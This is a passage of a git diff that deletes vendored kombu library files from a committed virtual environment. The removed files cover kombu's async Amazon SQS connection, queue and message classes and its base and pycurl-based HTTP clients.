service_model.operation_model(operation), response.response - ) - return parsed - elif ( - response.status in self.STATUS_CODES_TIMEOUT or - response.status in self.STATUS_CODES_SERVER_ERRORS - ): - # When the server returns a timeout or 50X server error, - # the response is interpreted as an empty list. - # This prevents hanging the Celery worker. - return [] - else: - raise self._for_status(response, response.read()) - - def _on_obj_ready(self, parent, operation, response): - service_model = self.sqs_connection.meta.service_model - if response.status == self.STATUS_CODE_OK: - _, parsed = get_response( - service_model.operation_model(operation), response.response - ) - return parsed - else: - raise self._for_status(response, response.read()) - - def _on_status_ready(self, parent, operation, response): - service_model = self.sqs_connection.meta.service_model - if response.status == self.STATUS_CODE_OK: - httpres, _ = get_response( - service_model.operation_model(operation), response.response - ) - return httpres.code - else: - raise self._for_status(response, response.read()) - - def _for_status(self, response, body): - context = 'Empty body' if not body else 'HTTP Error' - return Exception("Request {} HTTP {} {} ({})".format( - context, response.status, response.reason, body - )) diff --git a/venv/Lib/site-packages/kombu/asynchronous/aws/ext.py b/venv/Lib/site-packages/kombu/asynchronous/aws/ext.py deleted file mode 100644 index 23b4172891d07d176532e62a894b368ab3659701..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/aws/ext.py +++ /dev/null @@ -1,33 +0,0 @@ -"""Amazon boto3 interface.""" - -from __future__ import annotations - -try: - import boto3 - from botocore import exceptions - from botocore.awsrequest import AWSRequest - from botocore.httpsession import get_cert_path - from botocore.response import get_response -except ImportError: - boto3 = None - - class _void: - pass - - class BotoCoreError(Exception): - pass - - exceptions = _void() - exceptions.BotoCoreError = BotoCoreError # type: ignore[attr-defined] - AWSRequest = _void() - get_response = _void() - - def get_cert_path() -> str: - """Raises NotImplementedError if boto3 or botocore is not installed.""" - raise NotImplementedError( - "get_cert_path is unavailable because boto3 or botocore is not installed." - ) - -__all__ = ( - 'exceptions', 'AWSRequest', 'get_response', 'get_cert_path', -) diff --git a/venv/Lib/site-packages/kombu/asynchronous/aws/sqs/__init__.py b/venv/Lib/site-packages/kombu/asynchronous/aws/sqs/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/kombu/asynchronous/aws/sqs/connection.py b/venv/Lib/site-packages/kombu/asynchronous/aws/sqs/connection.py deleted file mode 100644 index ff5faf618f9aadf695daf899356272daee165158..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/aws/sqs/connection.py +++ /dev/null @@ -1,335 +0,0 @@ -"""Amazon SQS Connection.""" - -from __future__ import annotations - -import json - -from botocore.serialize import Serializer -from vine import transform - -from kombu.asynchronous.aws.connection import AsyncAWSQueryConnection -from kombu.asynchronous.aws.ext import AWSRequest - -from .ext import boto3 -from .message import AsyncMessage -from .queue import AsyncQueue - -__all__ = ('AsyncSQSConnection',) - - -class AsyncSQSConnection(AsyncAWSQueryConnection): - """Async SQS Connection.""" - - def __init__( - self, - sqs_connection, - debug=0, - region=None, - message_system_attribute_names=None, - message_attribute_names=None, - **kwargs - ): - if boto3 is None: - raise ImportError('boto3 is not installed') - super().__init__( - sqs_connection, - region_name=region, debug=debug, - **kwargs - ) - self.message_system_attribute_names = ( - message_system_attribute_names if message_system_attribute_names else ["ApproximateReceiveCount"] - ) - self.message_attribute_names = ( - [message_attribute_names] if isinstance(message_attribute_names, str) - else (message_attribute_names or []) - ) - - def _create_query_request(self, operation, params, queue_url, method): - params = params.copy() - if operation: - params['Action'] = operation - - # defaults for non-get - param_payload = {'data': params} - headers = {} - if method.lower() == 'get': - # query-based opts - param_payload = {'params': params} - - if method.lower() == 'post': - headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=utf-8' - - return AWSRequest(method=method, url=queue_url, headers=headers, **param_payload) - - def _create_json_request(self, operation, params, queue_url): - params = params.copy() - params['QueueUrl'] = queue_url - - service_model = self.sqs_connection.meta.service_model - operation_model = service_model.operation_model(operation) - - url = self.sqs_connection._endpoint.host - - headers = {} - # Content-Type - json_version = operation_model.metadata['jsonVersion'] - content_type = f'application/x-amz-json-{json_version}' - headers['Content-Type'] = content_type - - # X-Amz-Target - target = '{}.{}'.format( - operation_model.metadata['targetPrefix'], - operation_model.name, - ) - headers['X-Amz-Target'] = target - - param_payload = { - 'data': json.dumps(params).encode(), - 'headers': headers - } - - method = operation_model.http.get('method', Serializer.DEFAULT_METHOD) - return AWSRequest( - method=method, - url=url, - **param_payload - ) - - def make_request(self, operation_name, params, queue_url, verb, callback=None, protocol_params=None): - """Override make_request to support different protocols. - - botocore has changed the default protocol of communicating - with SQS backend from 'query' to 'json', so we need a special - implementation of make_request for SQS. More information on this can - be found in: https://github.com/celery/kombu/pull/1807. - - protocol_params: Optional[dict[str, dict]] of per-protocol additional parameters. - Supported for the SQS query to json protocol transition. - """ - signer = self.sqs_connection._request_signer - - service_model = self.sqs_connection.meta.service_model - protocol = service_model.protocol - all_params = {**(params or {}), **protocol_params.get(protocol, {})} - - if protocol == 'query': - request = self._create_query_request( - operation_name, all_params, queue_url, verb) - elif protocol == 'json': - request = self._create_json_request( - operation_name, all_params, queue_url) - else: - raise Exception(f'Unsupported protocol: {protocol}.') - - signing_type = 'presign-url' if request.method.lower() == 'get' \ - else 'standard' - - signer.sign(operation_name, request, signing_type=signing_type) - prepared_request = request.prepare() - - return self._mexe(prepared_request, callback=callback) - - def create_queue(self, queue_name, - visibility_timeout=None, callback=None): - params = {'QueueName': queue_name} - if visibility_timeout: - params['DefaultVisibilityTimeout'] = format( - visibility_timeout, 'd', - ) - return self.get_object('CreateQueue', params, - callback=callback) - - def delete_queue(self, queue, force_deletion=False, callback=None): - return self.get_status('DeleteQueue', None, queue.id, - callback=callback) - - def get_queue_url(self, queue): - res = self.sqs_connection.get_queue_url(QueueName=queue) - return res['QueueUrl'] - - def get_queue_attributes(self, queue, attribute='All', callback=None): - return self.get_object( - 'GetQueueAttributes', {'AttributeName': attribute}, - queue.id, callback=callback, - ) - - def set_queue_attribute(self, queue, attribute, value, callback=None): - return self.get_status( - 'SetQueueAttribute', - {}, - queue.id, callback=callback, - protocol_params={ - 'json': {'Attributes': {attribute: value}}, - 'query': {'Attribute.Name': attribute, 'Attribute.Value': value}, - }, - ) - - def receive_message( - self, queue, queue_url, number_messages=1, visibility_timeout=None, - attributes=None, wait_time_seconds=None, - callback=None - ): - params = {'MaxNumberOfMessages': number_messages} - proto_params = {'query': {}, 'json': {}} - attrs = attributes if attributes is not None else self.message_system_attribute_names - msg_attr_names = self.message_attribute_names if self.message_attribute_names else None - - if visibility_timeout: - params['VisibilityTimeout'] = visibility_timeout - if attrs: - proto_params['json'].update({'MessageSystemAttributeNames': list(attrs)}) - proto_params['query'].update(_query_object_encode({'MessageSystemAttributeName': list(attrs)})) - if msg_attr_names: - proto_params['json'].update({'MessageAttributeNames': list(msg_attr_names)}) - proto_params['query'].update(_query_object_encode({'MessageAttributeNames': list(msg_attr_names)})) - if wait_time_seconds is not None: - params['WaitTimeSeconds'] = wait_time_seconds - - return self.get_list( - 'ReceiveMessage', params, [('Message', AsyncMessage)], - queue_url, callback=callback, parent=queue, - protocol_params=proto_params, - ) - - def delete_message(self, queue, receipt_handle, callback=None): - return self.delete_message_from_handle( - queue, receipt_handle, callback, - ) - - def delete_message_batch(self, queue, messages, callback=None): - p_params = { - 'json': { - 'Entries': [{'Id': m.id, 'ReceiptHandle': m.receipt_handle} for m in messages], - }, - 'query': _query_object_encode({ - 'DeleteMessageBatchRequestEntry': [ - {'Id': m.id, 'ReceiptHandle': m.receipt_handle} - for m in messages - ], - }), - } - - return self.get_object( - 'DeleteMessageBatch', {}, queue.id, - verb='POST', callback=callback, protocol_params=p_params, - ) - - def delete_message_from_handle(self, queue, receipt_handle, - callback=None): - return self.get_status( - 'DeleteMessage', {'ReceiptHandle': receipt_handle}, - queue, callback=callback, - ) - - def send_message(self, queue, message_content, - delay_seconds=None, callback=None): - params = {'MessageBody': message_content} - if delay_seconds: - params['DelaySeconds'] = int(delay_seconds) - return self.get_object( - 'SendMessage', params, queue.id, - verb='POST', callback=callback, - ) - - def send_message_batch(self, queue, messages, callback=None): - params = {} - for i, msg in enumerate(messages): - prefix = f'SendMessageBatchRequestEntry.{i + 1}' - params.update({ - f'{prefix}.Id': msg[0], - f'{prefix}.MessageBody': msg[1], - f'{prefix}.DelaySeconds': msg[2], - }) - return self.get_object( - 'SendMessageBatch', params, queue.id, - verb='POST', callback=callback, - ) - - def change_message_visibility(self, queue, receipt_handle, - visibility_timeout, callback=None): - return self.get_status( - 'ChangeMessageVisibility', - {'ReceiptHandle': receipt_handle, - 'VisibilityTimeout': visibility_timeout}, - queue.id, callback=callback, - ) - - def change_message_visibility_batch(self, queue, messages, callback=None): - entries = [ - {'Id': t[0].id, 'ReceiptHandle': t[0].receipt_handle, 'VisibilityTimeout': t[1]} - for t in messages - ] - - p_params = { - 'json': {'Entries': entries}, - 'query': _query_object_encode({'ChangeMessageVisibilityBatchRequestEntry': entries}), - } - - return self.get_object( - 'ChangeMessageVisibilityBatch', {}, queue.id, - verb='POST', callback=callback, - protocol_params=p_params, - ) - - def get_all_queues(self, prefix='', callback=None): - params = {} - if prefix: - params['QueueNamePrefix'] = prefix - return self.get_list( - 'ListQueues', params, [('QueueUrl', AsyncQueue)], - callback=callback, - ) - - def get_queue(self, queue_name, callback=None): - # TODO Does not support owner_acct_id argument - return self.get_all_queues( - queue_name, - transform(self._on_queue_ready, callback, queue_name), - ) - lookup = get_queue - - def _on_queue_ready(self, name, queues): - return next( - (q for q in queues if q.url.endswith(name)), None, - ) - - def get_dead_letter_source_queues(self, queue, callback=None): - return self.get_list( - 'ListDeadLetterSourceQueues', {'QueueUrl': queue.url}, - [('QueueUrl', AsyncQueue)], - callback=callback, - ) - - def add_permission(self, queue, label, aws_account_id, action_name, - callback=None): - return self.get_status( - 'AddPermission', - {'Label': label, - 'AWSAccountId': aws_account_id, - 'ActionName': action_name}, - queue.id, callback=callback, - ) - - def remove_permission(self, queue, label, callback=None): - return self.get_status( - 'RemovePermission', {'Label': label}, queue.id, callback=callback, - ) - - -def _query_object_encode(items): - params = {} - _query_object_encode_part(params, '', items) - return {k: v for k, v in params.items()} - - -def _query_object_encode_part(params, prefix, part): - dotted = f'{prefix}.' if prefix else prefix - - if isinstance(part, (list, tuple)): - for i, item in enumerate(part): - _query_object_encode_part(params, f'{dotted}{i + 1}', item) - elif isinstance(part, dict): - for key, value in part.items(): - _query_object_encode_part(params, f'{dotted}{key}', value) - else: - params[prefix] = str(part) diff --git a/venv/Lib/site-packages/kombu/asynchronous/aws/sqs/ext.py b/venv/Lib/site-packages/kombu/asynchronous/aws/sqs/ext.py deleted file mode 100644 index 72268b5dbae7b73b1751d5fd6dc254d9f375817a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/aws/sqs/ext.py +++ /dev/null @@ -1,9 +0,0 @@ -"""Amazon SQS boto3 interface.""" - - -from __future__ import annotations - -try: - import boto3 -except ImportError: - boto3 = None diff --git a/venv/Lib/site-packages/kombu/asynchronous/aws/sqs/message.py b/venv/Lib/site-packages/kombu/asynchronous/aws/sqs/message.py deleted file mode 100644 index 52727bb74db05e041760b78710b978a9ff24cbf2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/aws/sqs/message.py +++ /dev/null @@ -1,35 +0,0 @@ -"""Amazon SQS message implementation.""" - -from __future__ import annotations - -import base64 - -from kombu.message import Message -from kombu.utils.encoding import str_to_bytes - - -class BaseAsyncMessage(Message): - """Base class for messages received on async client.""" - - -class AsyncRawMessage(BaseAsyncMessage): - """Raw Message.""" - - -class AsyncMessage(BaseAsyncMessage): - """Serialized message.""" - - def encode(self, value): - """Encode/decode the value using Base64 encoding.""" - return base64.b64encode(str_to_bytes(value)).decode() - - def __getitem__(self, item): - """Support Boto3-style access on a message.""" - if item == 'ReceiptHandle': - return self.receipt_handle - elif item == 'Body': - return self.get_body() - elif item == 'queue': - return self.queue - else: - raise KeyError(item) diff --git a/venv/Lib/site-packages/kombu/asynchronous/aws/sqs/queue.py b/venv/Lib/site-packages/kombu/asynchronous/aws/sqs/queue.py deleted file mode 100644 index 7ca78f753e909c633274e8cf42d50121adbac682..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/aws/sqs/queue.py +++ /dev/null @@ -1,130 +0,0 @@ -"""Amazon SQS queue implementation.""" - -from __future__ import annotations - -from vine import transform - -from .message import AsyncMessage - -_all__ = ['AsyncQueue'] - - -def list_first(rs): - """Get the first item in a list, or None if list empty.""" - return rs[0] if len(rs) == 1 else None - - -class AsyncQueue: - """Async SQS Queue.""" - - def __init__(self, connection=None, url=None, message_class=AsyncMessage): - self.connection = connection - self.url = url - self.message_class = message_class - self.visibility_timeout = None - - def _NA(self, *args, **kwargs): - raise NotImplementedError() - count_slow = dump = save_to_file = save_to_filename = save = \ - save_to_s3 = load_from_s3 = load_from_file = load_from_filename = \ - load = clear = _NA - - def get_attributes(self, attributes='All', callback=None): - return self.connection.get_queue_attributes( - self, attributes, callback, - ) - - def set_attribute(self, attribute, value, callback=None): - return self.connection.set_queue_attribute( - self, attribute, value, callback, - ) - - def get_timeout(self, callback=None, _attr='VisibilityTimeout'): - return self.get_attributes( - _attr, transform( - self._coerce_field_value, callback, _attr, int, - ), - ) - - def _coerce_field_value(self, key, type, response): - return type(response[key]) - - def set_timeout(self, visibility_timeout, callback=None): - return self.set_attribute( - 'VisibilityTimeout', visibility_timeout, - transform( - self._on_timeout_set, callback, - ) - ) - - def _on_timeout_set(self, visibility_timeout): - if visibility_timeout: - self.visibility_timeout = visibility_timeout - return self.visibility_timeout - - def add_permission(self, label, aws_account_id, action_name, - callback=None): - return self.connection.add_permission( - self, label, aws_account_id, action_name, callback, - ) - - def remove_permission(self, label, callback=None): - return self.connection.remove_permission(self, label, callback) - - def read(self, visibility_timeout=None, wait_time_seconds=None, - callback=None): - return self.get_messages( - 1, visibility_timeout, - wait_time_seconds=wait_time_seconds, - callback=transform(list_first, callback), - ) - - def write(self, message, delay_seconds=None, callback=None): - return self.connection.send_message( - self, message.get_body_encoded(), delay_seconds, - callback=transform(self._on_message_sent, callback, message), - ) - - def write_batch(self, messages, callback=None): - return self.connection.send_message_batch( - self, messages, callback=callback, - ) - - def _on_message_sent(self, orig_message, new_message): - orig_message.id = new_message.id - orig_message.md5 = new_message.md5 - return new_message - - def get_messages(self, num_messages=1, visibility_timeout=None, - attributes=None, wait_time_seconds=None, callback=None): - return self.connection.receive_message( - self, number_messages=num_messages, - visibility_timeout=visibility_timeout, - attributes=attributes, - wait_time_seconds=wait_time_seconds, - callback=callback, - ) - - def delete_message(self, message, callback=None): - return self.connection.delete_message(self, message, callback) - - def delete_message_batch(self, messages, callback=None): - return self.connection.delete_message_batch( - self, messages, callback=callback, - ) - - def change_message_visibility_batch(self, messages, callback=None): - return self.connection.change_message_visibility_batch( - self, messages, callback=callback, - ) - - def delete(self, callback=None): - return self.connection.delete_queue(self, callback=callback) - - def count(self, page_size=10, vtimeout=10, callback=None, - _attr='ApproximateNumberOfMessages'): - return self.get_attributes( - _attr, callback=transform( - self._coerce_field_value, callback, _attr, int, - ), - ) diff --git a/venv/Lib/site-packages/kombu/asynchronous/debug.py b/venv/Lib/site-packages/kombu/asynchronous/debug.py deleted file mode 100644 index 7c1e45c763c22bd49ad3625bf1f6b1558d4c4467..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/debug.py +++ /dev/null @@ -1,67 +0,0 @@ -"""Event-loop debugging tools.""" - -from __future__ import annotations - -from kombu.utils.eventio import ERR, READ, WRITE -from kombu.utils.functional import reprcall - - -def repr_flag(flag): - """Return description of event loop flag.""" - return '{}{}{}'.format('R' if flag & READ else '', - 'W' if flag & WRITE else '', - '!' if flag & ERR else '') - - -def _rcb(obj): - if obj is None: - return '' - if isinstance(obj, str): - return obj - if isinstance(obj, tuple): - cb, args = obj - return reprcall(cb.__name__, args=args) - return obj.__name__ - - -def repr_active(h): - """Return description of active readers and writers.""" - return ', '.join(repr_readers(h) + repr_writers(h)) - - -def repr_events(h, events): - """Return description of events returned by poll.""" - return ', '.join( - '{}({})->{}'.format( - _rcb(callback_for(h, fd, fl, '(GONE)')), fd, - repr_flag(fl), - ) - for fd, fl in events - ) - - -def repr_readers(h): - """Return description of pending readers.""" - return [f'({fd}){_rcb(cb)}->{repr_flag(READ | ERR)}' - for fd, cb in h.readers.items()] - - -def repr_writers(h): - """Return description of pending writers.""" - return [f'({fd}){_rcb(cb)}->{repr_flag(WRITE)}' - for fd, cb in h.writers.items()] - - -def callback_for(h, fd, flag, *default): - """Return the callback used for hub+fd+flag.""" - try: - if flag & READ: - return h.readers[fd] - if flag & WRITE: - if fd in h.consolidate: - return h.consolidate_callback - return h.writers[fd] - except KeyError: - if default: - return default[0] - raise diff --git a/venv/Lib/site-packages/kombu/asynchronous/http/__init__.py b/venv/Lib/site-packages/kombu/asynchronous/http/__init__.py deleted file mode 100644 index 67d8b2197c587779670a1cffb9e97522fed86f1c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/http/__init__.py +++ /dev/null @@ -1,28 +0,0 @@ -from __future__ import annotations - -from typing import TYPE_CHECKING - -from kombu.asynchronous import get_event_loop -from kombu.asynchronous.http.base import Headers, Request, Response -from kombu.asynchronous.hub import Hub - -if TYPE_CHECKING: - from kombu.asynchronous.http.curl import CurlClient - -__all__ = ('Client', 'Headers', 'Response', 'Request') - - -def Client(hub: Hub | None = None, **kwargs: int) -> CurlClient: - """Create new HTTP client.""" - from .curl import CurlClient - return CurlClient(hub, **kwargs) - - -def get_client(hub: Hub | None = None, **kwargs: int) -> CurlClient: - """Get or create HTTP client bound to the current event loop.""" - hub = hub or get_event_loop() - try: - return hub._current_http_client - except AttributeError: - client = hub._current_http_client = Client(hub, **kwargs) - return client diff --git a/venv/Lib/site-packages/kombu/asynchronous/http/base.py b/venv/Lib/site-packages/kombu/asynchronous/http/base.py deleted file mode 100644 index 345e07f60015c5246cc81966fcaba331d8dff41d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/http/base.py +++ /dev/null @@ -1,274 +0,0 @@ -"""Base async HTTP client implementation.""" - -from __future__ import annotations - -import sys -from http.client import responses -from typing import TYPE_CHECKING - -from vine import Thenable, maybe_promise, promise - -from kombu.exceptions import HttpError -from kombu.utils.compat import coro -from kombu.utils.encoding import bytes_to_str -from kombu.utils.functional import maybe_list, memoize - -if TYPE_CHECKING: - from types import TracebackType - -__all__ = ('Headers', 'Response', 'Request') - -PYPY = hasattr(sys, 'pypy_version_info') - - -@memoize(maxsize=1000) -def normalize_header(key): - return '-'.join(p.capitalize() for p in key.split('-')) - - -class Headers(dict): - """Represents a mapping of HTTP headers.""" - - # TODO: This is just a regular dict and will not perform normalization - # when looking up keys etc. - - #: Set when all of the headers have been read. - complete = False - - #: Internal attribute used to keep track of continuation lines. - _prev_key = None - - -@Thenable.register -class Request: - """A HTTP Request. - - Arguments: - --------- - url (str): The URL to request. - method (str): The HTTP method to use (defaults to ``GET``). - - Keyword Arguments: - ----------------- - headers (Dict, ~kombu.asynchronous.http.Headers): Optional headers for - this request - body (str): Optional body for this request. - connect_timeout (float): Connection timeout in float seconds - Default is 30.0. - timeout (float): Time in float seconds before the request times out - Default is 30.0. - follow_redirects (bool): Specify if the client should follow redirects - Enabled by default. - max_redirects (int): Maximum number of redirects (default 6). - use_gzip (bool): Allow the server to use gzip compression. - Enabled by default. - validate_cert (bool): Set to true if the server certificate should be - verified when performing ``https://`` requests. - Enabled by default. - auth_username (str): Username for HTTP authentication. - auth_password (str): Password for HTTP authentication. - auth_mode (str): Type of HTTP authentication (``basic`` or ``digest``). - user_agent (str): Custom user agent for this request. - network_interface (str): Network interface to use for this request. - on_ready (Callable): Callback to be called when the response has been - received. Must accept single ``response`` argument. - on_stream (Callable): Optional callback to be called every time body - content has been read from the socket. If specified then the - response body and buffer attributes will not be available. - on_timeout (callable): Optional callback to be called if the request - times out. - on_header (Callable): Optional callback to be called for every header - line received from the server. The signature - is ``(headers, line)`` and note that if you want - ``response.headers`` to be populated then your callback needs to - also call ``client.on_header(headers, line)``. - on_prepare (Callable): Optional callback that is implementation - specific (e.g. curl client will pass the ``curl`` instance to - this callback). - proxy_host (str): Optional proxy host. Note that a ``proxy_port`` must - also be provided or a :exc:`ValueError` will be raised. - proxy_username (str): Optional username to use when logging in - to the proxy. - proxy_password (str): Optional password to use when authenticating - with the proxy server. - ca_certs (str): Custom CA certificates file to use. - client_key (str): Optional filename for client SSL key. - client_cert (str): Optional filename for client SSL certificate. - """ - - body = user_agent = network_interface = \ - auth_username = auth_password = auth_mode = \ - proxy_host = proxy_port = proxy_username = proxy_password = \ - ca_certs = client_key = client_cert = None - - connect_timeout = 30.0 - request_timeout = 30.0 - follow_redirects = True - max_redirects = 6 - use_gzip = True - validate_cert = True - - if not PYPY: # pragma: no cover - __slots__ = ('url', 'method', 'on_ready', 'on_timeout', 'on_stream', - 'on_prepare', 'on_header', 'headers', - '__weakref__', '__dict__') - - def __init__(self, url, method='GET', on_ready=None, on_timeout=None, - on_stream=None, on_prepare=None, on_header=None, - headers=None, **kwargs): - self.url = url - self.method = method or self.method - self.on_ready = maybe_promise(on_ready) or promise() - self.on_timeout = maybe_promise(on_timeout) - self.on_stream = maybe_promise(on_stream) - self.on_prepare = maybe_promise(on_prepare) - self.on_header = maybe_promise(on_header) - if kwargs: - for k, v in kwargs.items(): - setattr(self, k, v) - if not isinstance(headers, Headers): - headers = Headers(headers or {}) - self.headers = headers - - def then(self, callback, errback=None): - self.on_ready.then(callback, errback) - - def __repr__(self): - return ''.format(self) - - -class Response: - """HTTP Response. - - Arguments - --------- - request (~kombu.asynchronous.http.Request): See :attr:`request`. - code (int): See :attr:`code`. - headers (~kombu.asynchronous.http.Headers): See :attr:`headers`. - buffer (bytes): See :attr:`buffer` - effective_url (str): See :attr:`effective_url`. - status (str): See :attr:`status`. - - Attributes - ---------- - request (~kombu.asynchronous.http.Request): object used to - get this response. - code (int): HTTP response code (e.g. 200, 404, or 500). - headers (~kombu.asynchronous.http.Headers): HTTP headers - for this response. - buffer (bytes): Socket read buffer. - effective_url (str): The destination url for this request after - following redirects. - error (Exception): Error instance if the request resulted in - a HTTP error code. - status (str): Human equivalent of :attr:`code`, - e.g. ``OK``, `Not found`, or 'Internal Server Error'. - """ - - if not PYPY: # pragma: no cover - __slots__ = ('request', 'code', 'headers', 'buffer', 'effective_url', - 'error', 'status', '_body', '__weakref__') - - def __init__(self, request, code, headers=None, buffer=None, - effective_url=None, error=None, status=None): - self.request = request - self.code = code - self.headers = headers if headers is not None else Headers() - self.buffer = buffer - self.effective_url = effective_url or request.url - self._body = None - - self.status = status or responses.get(self.code, 'Unknown') - self.error = error - if self.error is None and (self.code < 200 or self.code > 299): - self.error = HttpError(self.code, self.status, self) - - def raise_for_error(self): - """Raise if the request resulted in an HTTP error code. - - Raises - ------ - :class:`~kombu.exceptions.HttpError` - """ - if self.error: - raise self.error - - @property - def body(self): - """The full contents of the response body. - - Note: - ---- - Accessing this property will evaluate the buffer - and subsequent accesses will be cached. - """ - if self._body is None: - if self.buffer is not None: - self._body = self.buffer.getvalue() - return self._body - - # these are for compatibility with Requests - @property - def status_code(self): - return self.code - - @property - def content(self): - return self.body - - -@coro -def header_parser(keyt=normalize_header): - while 1: - (line, headers) = yield - if line.startswith('HTTP/'): - continue - elif not line: - headers.complete = True - continue - elif line[0].isspace(): - pkey = headers._prev_key - headers[pkey] = ' '.join([headers.get(pkey) or '', line.lstrip()]) - else: - key, value = line.split(':', 1) - key = headers._prev_key = keyt(key) - headers[key] = value.strip() - - -class BaseClient: - Headers = Headers - Request = Request - Response = Response - - def __init__(self, hub, **kwargs): - self.hub = hub - self._header_parser = header_parser() - - def perform(self, request, **kwargs): - for req in maybe_list(request) or []: - if not isinstance(req, self.Request): - req = self.Request(req, **kwargs) - self.add_request(req) - - def add_request(self, request): - raise NotImplementedError('must implement add_request') - - def close(self): - pass - - def on_header(self, headers, line): - try: - self._header_parser.send((bytes_to_str(line), headers)) - except StopIteration: - self._header_parser = header_parser() - - def __enter__(self): - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None - ) -> None: - self.close() diff --git a/venv/Lib/site-packages/kombu/asynchronous/http/curl.py b/venv/Lib/site-packages/kombu/asynchronous/http/curl.py deleted file mode 100644 index 626f4c23226f4cb626e0a7bbd8dd1003379481cc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/http/curl.py +++ /dev/null @@ -1,293 +0,0 @@ -"""HTTP Client using pyCurl.""" - -from __future__ import annotations - -from collections import deque -from functools import partial -from io import BytesIO -from time import time - -from kombu.asynchronous.hub import READ, WRITE, Hub, get_event_loop -from kombu.exceptions import HttpError -from kombu.utils.encoding import bytes_to_str - -from .base import BaseClient - -try: - import pycurl -except ImportError: # pragma: no cover - pycurl = Curl = METH_TO_CURL = None -else: - from pycurl import Curl - - METH_TO_CURL = { - 'GET': pycurl.HTTPGET, - 'POST': pycurl.POST, - 'PUT': pycurl.UPLOAD, - 'HEAD': pycurl.NOBODY, - } - -__all__ = ('CurlClient',) - -DEFAULT_USER_AGENT = 'Mozilla/5.0 (compatible; pycurl)' -EXTRA_METHODS = frozenset(['DELETE', 'OPTIONS', 'PATCH']) - - -class CurlClient(BaseClient): - """Curl HTTP Client.""" - - Curl = Curl - - def __init__(self, hub: Hub | None = None, max_clients: int = 10): - if pycurl is None: - raise ImportError('The curl client requires the pycurl library.') - hub = hub or get_event_loop() - super().__init__(hub) - self.max_clients = max_clients - - self._multi = pycurl.CurlMulti() - self._multi.setopt(pycurl.M_TIMERFUNCTION, self._set_timeout) - self._multi.setopt(pycurl.M_SOCKETFUNCTION, self._handle_socket) - self._curls = [self.Curl() for i in range(max_clients)] - self._free_list = self._curls[:] - self._pending = deque() - self._fds = {} - - self._socket_action = self._multi.socket_action - self._timeout_check_tref = self.hub.call_repeatedly( - 1.0, self._timeout_check, - ) - - # pycurl 7.29.0 workaround - dummy_curl_handle = pycurl.Curl() - self._multi.add_handle(dummy_curl_handle) - self._multi.remove_handle(dummy_curl_handle) - - def close(self): - self._timeout_check_tref.cancel() - for _curl in self._curls: - _curl.close() - self._multi.close() - - def add_request(self, request): - self._pending.append(request) - self._process_queue() - self._set_timeout(0) - return request - - # the next two methods are used for linux/epoll workaround: - # we temporarily remove all curl fds from hub, so curl cannot - # close a fd which is still inside epoll - def _pop_from_hub(self): - for fd in self._fds: - self.hub.remove(fd) - - def _push_to_hub(self): - for fd, events in self._fds.items(): - if events & READ: - self.hub.add_reader(fd, self.on_readable, fd) - if events & WRITE: - self.hub.add_writer(fd, self.on_writable, fd) - - def _handle_socket(self, event, fd, multi, data, _pycurl=pycurl): - if event == _pycurl.POLL_REMOVE: - if fd in self._fds: - self._fds.pop(fd, None) - else: - if event == _pycurl.POLL_IN: - self._fds[fd] = READ - elif event == _pycurl.POLL_OUT: - self._fds[fd] = WRITE - elif event == _pycurl.POLL_INOUT: - self._fds[fd] = READ | WRITE - - def _set_timeout(self, msecs): - self.hub.call_later(msecs, self._timeout_check) - - def _timeout_check(self, _pycurl=pycurl): - self._pop_from_hub() - try: - while 1: - try: - ret, _ = self._multi.socket_all() - except pycurl.error as exc: - ret = exc.args[0] - if ret != _pycurl.E_CALL_MULTI_PERFORM: - break - finally: - self._push_to_hub() - self._process_pending_requests() - - def on_readable(self, fd, _pycurl=pycurl): - return self._on_event(fd, _pycurl.CSELECT_IN) - - def on_writable(self, fd, _pycurl=pycurl): - return self._on_event(fd, _pycurl.CSELECT_OUT) - - def _on_event(self, fd, event, _pycurl=pycurl): - self._pop_from_hub() - try: - while 1: - try: - ret, _ = self._socket_action(fd, event) - except pycurl.error as exc: - ret = exc.args[0] - if ret != _pycurl.E_CALL_MULTI_PERFORM: - break - finally: - self._push_to_hub() - self._process_pending_requests() - - def _process_pending_requests(self): - while 1: - q, succeeded, failed = self._multi.info_read() - for curl in succeeded: - self._process(curl) - for curl, errno, reason in failed: - self._process(curl, errno, reason) - if q == 0: - break - self._process_queue() - - def _process_queue(self): - while 1: - started = 0 - while self._free_list and self._pending: - started += 1 - curl = self._free_list.pop() - request = self._pending.popleft() - headers = self.Headers() - buf = BytesIO() - curl.info = { - 'headers': headers, - 'buffer': buf, - 'request': request, - 'curl_start_time': time(), - } - self._setup_request(curl, request, buf, headers) - self._multi.add_handle(curl) - if not started: - break - - def _process(self, curl, errno=None, reason=None, _pycurl=pycurl): - info, curl.info = curl.info, None - self._multi.remove_handle(curl) - self._free_list.append(curl) - buffer = info['buffer'] - if errno: - code = 599 - error = HttpError(code, reason) - error.errno = errno - effective_url = None - buffer.close() - buffer = None - else: - error = None - code = curl.getinfo(_pycurl.HTTP_CODE) - effective_url = curl.getinfo(_pycurl.EFFECTIVE_URL) - buffer.seek(0) - # try: - request = info['request'] - request.on_ready(self.Response( - request=request, code=code, headers=info['headers'], - buffer=buffer, effective_url=effective_url, error=error, - )) - - def _setup_request(self, curl, request, buffer, headers, _pycurl=pycurl): - setopt = curl.setopt - setopt(_pycurl.URL, bytes_to_str(request.url)) - - # see tornado curl client - request.headers.setdefault('Expect', '') - request.headers.setdefault('Pragma', '') - - setopt( - _pycurl.HTTPHEADER, - ['{}: {}'.format(*h) for h in request.headers.items()], - ) - - setopt( - _pycurl.HEADERFUNCTION, - partial(request.on_header or self.on_header, request.headers), - ) - setopt( - _pycurl.WRITEFUNCTION, request.on_stream or buffer.write, - ) - 